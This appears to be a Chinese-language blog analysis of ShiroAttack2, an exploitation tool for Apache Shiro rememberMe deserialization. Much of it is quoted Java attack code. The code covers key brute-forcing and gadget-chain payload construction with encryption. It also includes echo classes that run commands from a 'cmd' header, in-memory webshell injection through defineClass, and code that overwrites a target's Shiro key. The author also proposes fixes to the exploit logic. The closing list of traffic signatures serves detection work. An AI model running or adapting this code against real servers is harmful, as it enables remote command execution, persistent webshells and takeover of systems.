ShiroAttack2工具原理分析
前言
最近想要針對Shiro的利用工具擴展利用鏈,但自己完全寫一個工具即麻煩也沒有必要,因此想要通過SummerSec師傅開源的工具ShiroAttack2擴展來實現,既然要擴展首先就得了解項目的源碼實現。本片文章中我不會通篇的對這個項目代碼進行分析,只抽出幾個我認為的要點進行分析。
源碼分析
密鑰驗證
在這款工具中,密鑰驗證主要是分為兩種情況,一種是用戶指定密鑰,一種是未指定密鑰時爆破密鑰。無論是使用哪種方式來驗證key都需要調用checkIsShiro方法判斷是否為shiro。
//指定key
@FXML
void crackSpcKeyBtn(ActionEvent event) {
this.initAttack();
if (this.attackService.checkIsShiro()) {
String spcShiroKey = this.shiroKey.getText();
if (!spcShiroKey.equals("")) {
this.attackService.simpleKeyCrack(spcShiroKey);
} else {
this.logTextArea.appendText(Utils.log("請輸入指定密鑰"));
}
}
}
//爆破key
@FXML
void crackKeyBtn(ActionEvent event) {
this.initAttack();
if (this.attackService.checkIsShiro()) {
this.attackService.keysCrack();
}
}
checkIsShiro首先指定remeberMe=1通過返回結果是否包含deleteMe來判斷是否為shiro框架。如果返回結果沒有deleteMe則生成一個10位的隨機數作為remeberMe的內容再去請求。這里之所以要生成一個位隨機數我推測可能是防止WAF將remeberMe=1當作特征攔了。但是我這里還是想到了一種攔截思路,如果檢測到rememberMe=1
WAF直接阻斷請求,那result的返回內容就會是null,在result.contains("=deleteMe")中就會觸發異常,導致直接進入catch代碼塊,
那樣工具就無法檢測是否為Shiro,后面的漏洞利用功能也會失效。
public boolean checkIsShiro() {
boolean flag = false;
try {
HashMap<String, String> header = new HashMap();
//指定remeberMe=1
header.put("Cookie", this.shiroKeyWord + "=1");
String result = this.headerHttpRequest(header);
flag = result.contains("=deleteMe");
if (flag) {
this.mainController.logTextArea.appendText(Utils.log("存在shiro框架!"));
flag = true;
} else {
HashMap<String, String> header1 = new HashMap();
//生成10位隨機數判斷
header1.put("Cookie", this.shiroKeyWord + "=" + AttackService.getRandomString(10));
String result1 = this.headerHttpRequest(header1);
flag = result1.contains("=deleteMe");
if(flag){
this.mainController.logTextArea.appendText(Utils.log("存在shiro框架!"));
flag = true;
}else {
this.mainController.logTextArea.appendText(Utils.log("未發現shiro框架!"));
}
}
} catch (Exception var4) {
if (var4.getMessage() != null) {
this.mainController.logTextArea.appendText(Utils.log(var4.getMessage()));
}
}
return flag;
}
利用鏈爆破
無論使用什么利用鏈都需要和回顯的方式配合,所以這里首先是拿出了利用鏈和回顯方式并進行組合。組合后通過:分割,通過gadgetCrack檢測這種利用鏈和回顯方式是否存在。目前這款工具主要的利用鏈是CC利用鏈和Beanutils利用鏈。回顯方式主要是Tomcat和Spring回顯,作者后來版本也加了通用回顯,這些回顯方式之后我會分析。
void crackGadgetBtn(ActionEvent event) {
String spcShiroKey = this.shiroKey.getText();
if (this.attackService == null) {
this.initAttack();
}
boolean flag = false;
if (!spcShiroKey.equals("")) {
//獲取利用鏈和回顯方式并進行組合
List<String> targets = this.attackService.generateGadgetEcho(this.gadgetOpt.getItems(), this.echoOpt.getItems());
for(int i = 0; i < targets.size(); ++i) {
String[] t = ((String)targets.get(i)).split(":");
String gadget = t[0];
String echo = t[1];
//檢測利用鏈和回顯方式是否存在
flag = this.attackService.gadgetCrack(gadget, echo, spcShiroKey);
if (flag) {
break;
}
}
} else {
this.logTextArea.appendText(Utils.log("請先手工填入key或者爆破Shiro key"));
}
if (!flag) {
this.logTextArea.appendText(Utils.log("未找到構造鏈"));
}
}
gadgetCrack生成remeberMe的內容并加上Ctmd請求頭,最后判斷返回中是否包含08fb41620aa4c498a1f2ef09bbc1183c判斷是否利用成功,這里也可以當作這款工具的特征。
public boolean gadgetCrack(String gadgetOpt, String echoOpt, String spcShiroKey) {
boolean flag = false;
try {
//生成rememberMe
String rememberMe = this.GadgetPayload(gadgetOpt, echoOpt, spcShiroKey);
if (rememberMe != null) {
HashMap header = new HashMap();
header.put("Cookie", rememberMe + ";");
//header中加入Ctmd頭
header.put("Ctmd", "08fb41620aa4c498a1f2ef09bbc1183c");
String result = this.headerHttpRequest(header);
//判斷返回值中是否有08fb41620aa4c498a1f2ef09bbc1183c
if (result.contains("08fb41620aa4c498a1f2ef09bbc1183c")) {
this.mainController.logTextArea.appendText(Utils.log("[*] 發現構造鏈:" + gadgetOpt + " 回顯方式: " + echoOpt));
this.mainController.logTextArea.appendText(Utils.log("[*] 請嘗試進行功能區利用。"));
this.mainController.gadgetOpt.setValue(gadgetOpt);
this.mainController.echoOpt.setValue(echoOpt);
gadget = gadgetOpt;
attackRememberMe = rememberMe;
flag = true;
} else {
this.mainController.logTextArea.appendText(Utils.log("[x] 測試:" + gadgetOpt + " 回顯方式: " + echoOpt));
}
}
} catch (Exception var8) {
this.mainController.logTextArea.appendText(Utils.log(var8.getMessage()));
}
return flag;
}
下面分析remeberMe生成部分,主要包含四個部分。
- 獲取利用鏈的Class對象并實例化
- 根據回顯方式創建
TemplatesImpl對象 - 傳入
TemplatesImpl通過getObject獲取構建好的惡意對象 - 構建好惡意對象后AES加密后返回
public String GadgetPayload(String gadgetOpt, String echoOpt, String spcShiroKey) {
String rememberMe = null;
try {
//獲取利用鏈的Class對象
Class extends ObjectPayload> gadgetClazz = com.summersec.attack.deser.payloads.ObjectPayload.Utils.getPayloadClass(gadgetOpt);
ObjectPayload gadgetPayload = (ObjectPayload)gadgetClazz.newInstance();
//根據回顯方式創建TemplatesImpl對象
Object template = Gadgets.createTemplatesImpl(echoOpt);
//創建惡意對象
Object chainObject = gadgetPayload.getObject(template);
//生成的惡意對象AES加密后返回
rememberMe = shiro.sendpayload(chainObject, this.shiroKeyWord, spcShiroKey);
} catch (Exception var9) {
// var9.printStackTrace();
this.mainController.logTextArea.appendText(Utils.log(var9.getMessage()));
}
return rememberMe;
}
獲取利用鏈的Class對象并實例化
根據類名獲取對應的Class對象
public interface ObjectPayload<T> { T getObject(Object paramObject) throws Exception;
public static class Utils {
public static Class extends ObjectPayload> getPayloadClass(String className) {
Class extends ObjectPayload> clazz = null;
try {
//根據類名獲取Class對象
clazz = (Class)Class.forName("com.summersec.attack.deser.payloads." + StringUtils.capitalize(className));
} catch (Exception exception) {}
return clazz;
}
}
}
根據回顯方式創建TemplatesImpl對象
通過Javasist生成回顯類并轉換為字節碼賦值給_bytecodes屬性。
public static <T> T createTemplatesImpl(String payload, Class<T> tplClass, Class abstTranslet) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
//根據名稱通過forName加載回顯的類
Class extends EchoPayload> echoClazz = Utils.getPayloadClass(payload);
EchoPayload echoObj = (EchoPayload)echoClazz.newInstance();
//通過Javasist動態生成回顯類
CtClass clazz = echoObj.genPayload(pool);
CtClass superClass = pool.get(abstTranslet.getName());
clazz.setSuperclass(superClass);
byte[] classBytes = clazz.toBytecode();
//將生成的回顯類字節碼賦值給_bytecodes屬性
Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bcField.setAccessible(true);
bcField.set(templates, new byte[][]{classBytes});
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a");
return templates;
}
通過getObject獲取惡意對象
通過getObject方法獲取惡意對象,在這個工具里使用的利用鏈主要為CC鏈和Beanutils鏈。
AES加密構建好的惡意對象
由于Shiro在高版本中更換了GCM加密方式,因此根據版本的不同選擇不同的加密算法。
public String sendpayload(Object chainObject, String shiroKeyWord, String key) throws Exception {
byte[] serpayload = SerializableUtils.toByteArray(chainObject);
byte[] bkey = DatatypeConverter.parseBase64Binary(key);
byte[] encryptpayload = null;
//根據版本不同使用不同的加密算法
if (AttackService.aesGcmCipherType == 1) {
GcmEncrypt gcmEncrypt = new GcmEncrypt();
String byteSource = gcmEncrypt.encrypt(key,serpayload);
System.out.println(shiroKeyWord + "=" + byteSource);
return shiroKeyWord + "=" + byteSource;
} else {
encryptpayload = AesUtil.encrypt(serpayload, bkey);
}
return shiroKeyWord + "=" + DatatypeConverter.printBase64Binary(encryptpayload);
}
關于利用鏈這里我想多提一些內容,因為本來分析這款工具的原理就是為了擴展利用鏈。通過上面的分析可以看到作者做了一個抽象,getObject傳入的對象是構建好的TemplateImpl對象,所以這也是作者實現的利用鏈不多的原因,因為不是所有的利用鏈封裝的都是TemplateImpl對象,而且也有很多利用方式無法回顯利用。
回顯方式分析
Tomcat
Tomcat的回顯主要的思路都是獲取Response對象,并向Response中寫入執行結果來實現,下面我對多種Tomcat回顯的方式做一個簡要總結。
ApplicationFilterChain#lastServicedResponse中記錄了response的內容,所以可以通過獲取lastServicedResponse來獲取Response對象并進行寫入。使用這種方式需要請求兩次,因為在默認情況下lastServicedResponse中并不會記錄response,所以第一次請求需要修改一個屬性值讓lastServicedResponse記錄response。但是這種方式不能用在Shiro反序列化中回顯,因為Shiro的反序列化發生在lastServicedResponse緩存Response之前,所以我們無法在反序列化的過程中拿到緩存中的Response對象。AbstractProcessor#response中存儲了Response對象,可以通過獲取這個屬性值獲取response對象。這種方式是通過Thread.currentThread.getContextClassLoader()獲取webappClassLoader,再獲取到Context最后一層層反射獲取Response對象。這種方式的主要問題是代碼量過多,在Shiro的利用中可能由于請求頭過大導致利用失敗。雖然可以通過在RemeberMe中只實現一個ClassLoader加載Body中的Class這種方式繞過。但是這樣設計可能會導致和其他回顯的利用方式有些差別,導致代碼無法復用,所以我猜測這也是作者沒有使用這種方式回顯的原因。- 首先通過
Thread.currentThread().getThreadGroup()獲取線程數組,從線程數組中找到包含http但不包含exec的線程。從保存的NioEndPoint中拿到ConnectionHandler,再從Handler中拿到RequestInfo對象,最后從RequestInfo中拿到Response。
最后一種方式是這款工具使用的方式,雖然這種獲取方式比較簡潔,但是好像沒有師傅給出為什么要這么獲取的原因,下面我嘗試對這種利用方式做出解釋。
首先我們要知道,這種方式實際上是從ClientPoller線程中取出的NioEndPoint對象,并拿到RequestInfo對象。
為什么從**ClientPoller** 中可以拿到**NioEndPoint** 對象?
ClientPoller對象是在NioEndPoint#startInternal時創建的,在創建ClientPoller線程時傳入了poller對象作為target屬性,因此可以從ClientPoller->target中拿到poller對象,而Poller又是NioEndpoint的內部類,所以其this$0持有外部類NioEndPoint的引用。因此從ClientPoller線程中獲取到NioEndPoint對象。
@Override
public void startInternal() throws Exception {
...
initializeConnectionLatch();
// Start poller thread
poller = new Poller();
Thread pollerThread = new Thread(poller, getName() + "-ClientPoller");
pollerThread.setPriority(threadPriority);
pollerThread.setDaemon(true);
pollerThread.start();
startAcceptorThread();
}
}
另外Acceptor中也持有NioEndpoint對象,因此也可以獲取到RequestInfo對象。

為什么要通過for循環進行遍歷Thread?
雖然上面我們看到ClientPoller線程只有一個,但是作者在實現工具的時候卻使用了for循環遍歷,這是為什么?
Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int var6 = 0; var6 < var5.length; ++var6) {
Thread var7 = var5[var6];
if (var7 != null) {
String var3 = var7.getName();
if (!var3.contains("exec") && var3.contains("http")) {
Object var1 = getFV(var7, "target");
...
我當前的環境是springboot中內置的tomcat,但是打開自己下載的tomcat發現其實創建的ClientPoller不一定只有一個,查閱資料默認配置下ClientPoller的個數是CPU的核數。
pollers = new Poller[getPollerThreadCount()];
for (int i=0; i<pollers.length; i++) {
pollers[i] = new Poller();
Thread pollerThread = new Thread(pollers[i], getName() + "-ClientPoller-"+i);
pollerThread.setPriority(threadPriority);
pollerThread.setDaemon(true);
pollerThread.start();
}
所以我認為這個for循環的這么寫應該更合理一些
Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int var6 = 0; var6 < var5.length; ++var6) {
Thread var7 = var5[var6];
if (var7 != null) {
String var3 = var7.getName();
if (var3.contains("ClientPoller")) {
Object var1 = getFV(var7, "target");
...
或者通過Acceptor來獲取,Acceptor主要用來接收連接,默認為一個。
if (var3.contains("Acceptor")) {
Object var1 = getFV(var7, "target");
if (var1 instanceof Runnable) {
try {
var1 = getFV(getFV(getFV(var1, "endpoint"), "handler"), "global");
Spring
通過RequestContextHolder的靜態方法獲取RequestAttributes對象,在通過getResponse獲取Response對象。
AllEcho
這種方式基本思路是遍歷當前線程保存的所有非靜態屬性,直到找到Request或Response對象。默認遍歷的深度是50層。
private static void Find(Object start,int depth){
if(depth > max_depth||(req!=null&&resp!=null)){
return;
}
//開始時start傳入的是Thread.currentThread()對象
Class n=start.getClass();
do{
//獲取當前對象中保存的屬性
for (Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object obj = null;
try{
//判斷屬性是否為static,是則跳過
if(Modifier.isStatic(declaredField.getModifiers())){
//靜態字段
//obj = declaredField.get(null);
}else{
obj = declaredField.get(start);
}
if(obj != null){
//不是數組直接調用proc方法檢查obj中是否為request或response對象
if(!obj.getClass().isArray()){
proc(obj,depth);
}else{
//是數組則判斷持有的對象是否為基本類型,不是基本類型才會遍歷數組并判斷是否為request或response對象
if(!obj.getClass().getComponentType().isPrimitive()) {
for (Object o : (Object[]) obj) {
proc(o, depth);
}
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}while(
//獲取父類并遍歷屬性
(n = n.getSuperclass())!=null
);
}
判斷當前對象是否持有request和response類型,如果是則執行命令并寫入Response。
private static void proc(Object obj,int depth){
//如果遍歷層數已經是最大層數則返回
if(depth > max_depth||(req!=null&&resp!=null)){
return;
}
// 如果該類型是java.lang包下的并且已經處理過了則跳過
if(!isSkiped(obj)){
//判斷obj類型是否為HttpServletRequest.class的子類
if(req==null&&ReqC.isAssignableFrom(obj.getClass())){
req = (HttpServletRequest)obj;
if(req.getHeader("cmd")==null)
req=null;
//判斷obj類型是否為HttpServletResponse.class的子類
}else if(resp==null&&RespC.isAssignableFrom(obj.getClass())){
resp = (HttpServletResponse) obj;
}
//如果獲取到request和response對象,則執行命令并寫入
if(req!=null&&resp!=null){
try {
PrintWriter os = resp.getWriter();
Process proc = Runtime.getRuntime().exec(req.getHeader("cmd"));
proc.waitFor();
Scanner scanner = new Scanner(proc.getInputStream());
scanner.useDelimiter("\\A");
os.print("Test by fnmsd "+scanner.next());
os.flush();
}catch (Exception e){
}
return;
}
//繼續遍歷
Find(obj,depth+1);
}
}
內存馬
由于注入內存馬的代碼量比較大,直接將數據帶到請求頭中會導致請求頭過大而注入失敗,所以這里作者將實際內存馬的內容和注入的代碼分開,post的參數dy中才是真正注入內存馬的代碼。
public void injectMem(String memShellType, String shellPass, String shellPath) {
//獲取rememberMe的內容,這里傳入的回顯類是InjectMemTool,也就是InjectMemTool的字節碼將會被放到TemplateImpl->_bytecodes屬性中
String injectRememberMe = this.GadgetPayload(gadget, "InjectMemTool", realShiroKey);
if (injectRememberMe != null) {
//請求頭中傳入shell密碼和路徑。
HashMap<String, String> header = new HashMap();
header.put("Cookie", injectRememberMe);
header.put("p", shellPass);
header.put("path", shellPath);
try {
//根據內存馬的類型得到對應的字節碼,base64后傳給dyv參數。
String b64Bytecode = MemBytes.getBytes(memShellType);
String postString = "dy=" + b64Bytecode;
String result = this.bodyHttpRequest(header, postString);
//返回Success則代表注入成功
if (result.contains("->|Success|<-")) {
String httpAddress = Utils.UrlToDomain(this.url);
this.mainController.InjOutputArea.appendText(Utils.log(memShellType + " 注入成功!"));
this.mainController.InjOutputArea.appendText(Utils.log("路徑:" + httpAddress + shellPath));
if (!memShellType.equals("reGeorg[Servlet]")) {
this.mainController.InjOutputArea.appendText(Utils.log("密碼:" + shellPass));
}
} else {
if (result.contains("->|") && result.contains("|<-")) {
this.mainController.InjOutputArea.appendText(Utils.log(result));
}
this.mainController.InjOutputArea.appendText(Utils.log("注入失敗,請更換注入類型或者更換新路徑"));
}
} catch (Exception var10) {
this.mainController.InjOutputArea.appendText(Utils.log(var10.getMessage()));
}
this.mainController.InjOutputArea.appendText(Utils.log("-------------------------------------------------"));
}
}
下面我們看下InjectMemTool的內容,下面是InjectMemTool構造方法的內容,前面內容和Tomcat回顯的內容相同,從線程數組中獲取request和response對象,我沒有在代碼中給出來。
o = getFV(p, \"req\");
resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);
Object conreq = o.getClass().getMethod(\"getNote\", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
//獲取dy參數保存的內容
dy = (String) conreq.getClass().getMethod(\"getParameter\", new Class[]{String.class}).invoke(conreq, new Object[]{new String(\"dy\")});
if (dy != null && !dy.isEmpty()) {
//base64解碼
byte[] bytecodes = org.apache.shiro.codec.Base64.decode(dy);
//獲取defineClass方法
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
//調用defineClass加載dy中保存的字節碼
Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
//實例化對象并調用equals方法
cc.newInstance().equals(conreq);
done = true;
}
修改shiro key
SummerSec師傅實現了修改shiro
key的功能了,有了這個功能滲透就真的是比手速了,或許以后滲透還需到了解如何動態修補各種漏洞,哈哈,開個玩笑。
修改Shiro
key的思路是找到ShiroFilterFactoryBean對象,從這個對象中可以拿到remeberMeMamanger,這個對象中可以獲取加密和解密的密鑰。

在filterConfigs中保存了ShiroFilterFactoryBean實例,因此可以從中獲取key。

SummerSec師傅的實現代碼如下,前面獲取filterConfigs的代碼就不分析了,和注冊Filter內存馬的時候一致。
org.apache.tomcat.util.threads.TaskThread thread = (org.apache.tomcat.util.threads.TaskThread) Thread.currentThread();
java.lang.reflect.Field field = thread.getClass().getSuperclass().getDeclaredField("contextClassLoader");
field.setAccessible(true);
Object obj = field.get(thread);
field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
obj = field.get(obj);
//獲取filterConfigs屬性
field = obj.getClass().getSuperclass().getDeclaredField("filterConfigs");
field.setAccessible(true);
obj = field.get(obj);
java.util.HashMap<String, Object> objMap = (java.util.HashMap<String, Object>) obj;
//遍歷filterConfigs
java.util.Iterator<Map.Entry<String, Object>> entries = objMap.entrySet().iterator();
while (entries.hasNext()) {
Map.Entry<String, Object> entry = entries.next();
//檢測key是否為shiroFilterFactoryBean
if (entry.getKey().equals("shiroFilterFactoryBean")) {
obj = entry.getValue();
field = obj.getClass().getDeclaredField("filter");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("securityManager");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
field.setAccessible(true);
obj = field.get(obj);
//通過反射調用setEncryptionCipherKey修改加密key
java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class});
byte[] bytes = this.base64Decode("FcoRsBKe9XB3zOHbxTG0Lw==");
setEncryptionCipherKey.invoke(obj, new Object[]{bytes});
//通過反射調用setDecryptionCipherKey修改解密key
java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class});
setDecryptionCipherKey.invoke(obj, new Object[]{bytes});
}
}
但是這種方式有一個問題,如果我設置ShiroFilterFactoryBean時設置了name屬性,那么遍歷filterConfigs是,保存ShiroFilterFactoryBean的Filter的名稱就會是shiroFilter,所以會修改失敗。
@Bean(
name = {"shiroFilter"}
)
ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager);
bean.setLoginUrl("/login");
bean.setUnauthorizedUrl("/unauth");
Map<String, String> map = new LinkedHashMap();
map.put("/doLogin", "anon");
map.put("/index/**", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}

但是無論有沒有配置name屬性,filter屬性中保存的filter的類名一定是ShiroFilterFactoryBean,所以我們可以先獲取filter屬性,然后查看類名是否為ShiroFilterFactoryBean,如果是則通過反射調用修改key。

while (entries.hasNext()) {
Map.Entry<String, Object> entry = entries.next();
obj = entry.getValue();
//先獲取filter屬性
field = obj.getClass().getDeclaredField("filter");
field.setAccessible(true);
obj = field.get(obj);
//判斷保存的類型是否為ShiroFilterFactoryBean
if (obj.getClass().toString().contains("ShiroFilterFactoryBean")) {
field = obj.getClass().getSuperclass().getDeclaredField("securityManager");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
field.setAccessible(true);
obj = field.get(obj);
java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class});
byte[] bytes = this.base64Decode("FcoRsBKe9XB3zOHbxTG0Lw==");
setEncryptionCipherKey.invoke(obj, new Object[]{bytes});
java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class});
setDecryptionCipherKey.invoke(obj, new Object[]{bytes});
}
}
總結
通過學習師傅寫的工具,對很多技術的實現細節有了一些了解,確實也學到了很多。最后總結部分我想簡單聊一下這個工具的利用特征。
- ·在驗證key或者爆破key前,會發送RemeberMe=1,如果檢測到Cookie中包含
RemeberMe=1直接將請求斷開,會導致這個工具無法檢測密鑰,后續的功能也將無法用。 - 利用鏈爆破部分會發送
Ctmd:08fb41620aa4c498a1f2ef09bbc1183c作為是否可以回顯的標志,這一部分是硬編碼的,所以如果檢測到包含Ctmd:08fb41620aa4c498a1f2ef09bbc1183c,也是有人正在利用該工具檢測shiro - 內存馬注入時,會在請求中加上
p和path參數,并且會在post請求中加上dy參數。
參考
- ShiroAttack2
- Java內存馬:一種Tomcat全版本獲取StandardContext的新方法
- Java中間件通用回顯方法的問題及處理(7.7更新)